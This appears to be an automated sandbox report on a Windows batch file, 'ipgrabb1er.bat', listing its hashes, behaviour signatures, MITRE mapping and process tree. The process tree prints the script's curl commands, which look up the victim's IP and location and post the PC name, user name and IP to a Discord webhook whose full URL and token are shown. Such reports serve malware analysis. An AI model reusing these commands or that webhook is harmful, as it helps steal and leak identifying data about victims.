39e9b37f561abc6eeea56735f329ab12014aa9d5f45fdaf36703549a49696267

Analysis

max time kernel
84s
max time network
124s
platform
windows11-21h2_x64
resource
win11-20240214-en
resource tags

arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
submitted
28/03/2024, 02:59

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General

Target

ipgrabb1er.bat
Size

1KB
MD5

24e441ba68d62ccc6eae517dd7232bc3
SHA1

b5331cabd71251761f0b632cc8087f915d21ee5a
SHA256

39e9b37f561abc6eeea56735f329ab12014aa9d5f45fdaf36703549a49696267
SHA512

bb2366ffdec92e78a0537a3f75d0d1f17182f809e687b1fc8d2f8fba250278a4e9cd7b07f61efd68fa8440fd06138cb48841a5a876a031c868373e5b28d9aa3a

Score

6^/10

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
13	discord.com
1	discord.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api64.ipify.org
2	api64.ipify.org
6	ipinfo.io
10	ipinfo.io

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 3136	2464	cmd.exe	77
PID 2464 wrote to memory of 3136	2464	cmd.exe	77
PID 3136 wrote to memory of 604	3136	cmd.exe	78
PID 3136 wrote to memory of 604	3136	cmd.exe	78
PID 3136 wrote to memory of 4924	3136	cmd.exe	79
PID 3136 wrote to memory of 4924	3136	cmd.exe	79
PID 2464 wrote to memory of 4572	2464	cmd.exe	80
PID 2464 wrote to memory of 4572	2464	cmd.exe	80
PID 4572 wrote to memory of 3820	4572	cmd.exe	81
PID 4572 wrote to memory of 3820	4572	cmd.exe	81
PID 4572 wrote to memory of 1184	4572	cmd.exe	82
PID 4572 wrote to memory of 1184	4572	cmd.exe	82
PID 2464 wrote to memory of 4364	2464	cmd.exe	83
PID 2464 wrote to memory of 4364	2464	cmd.exe	83

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ipgrabb1er.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s "https://api64.ipify.org?format=json" | findstr /r /c:"\"ip\":"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\curl.exe
    curl -s "https://api64.ipify.org?format=json"
    3⤵
    PID:604
- - C:\Windows\system32\findstr.exe
    findstr /r /c:"\"ip\":"
    3⤵
    PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s "https://ipinfo.io/{"ip":"89.149.23.59"}/json" | findstr /i "city region country"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\system32\curl.exe
    curl -s "https://ipinfo.io/{"ip":"89.149.23.59"}/json"
    3⤵
    PID:3820
- - C:\Windows\system32\findstr.exe
    findstr /i "city region country"
    3⤵
    PID:1184
- C:\Windows\system32\curl.exe
  curl -X POST -H "Content-Type: application/json" -d "{ \"content\": \"PC Name: VWSKOMFM\\User Account Name: Admin\\IP Address: {"ip":"89.149.23.59"}\\Location: \" }" https://discord.com/api/webhooks/1222730303299129455/C-jlNtX8rSs6pyYUKNodg2N2Jhdmf4Yw1PhKn4b6292btwdZrdU8l6wWN1dbklKjw-07
  2⤵
  PID:4364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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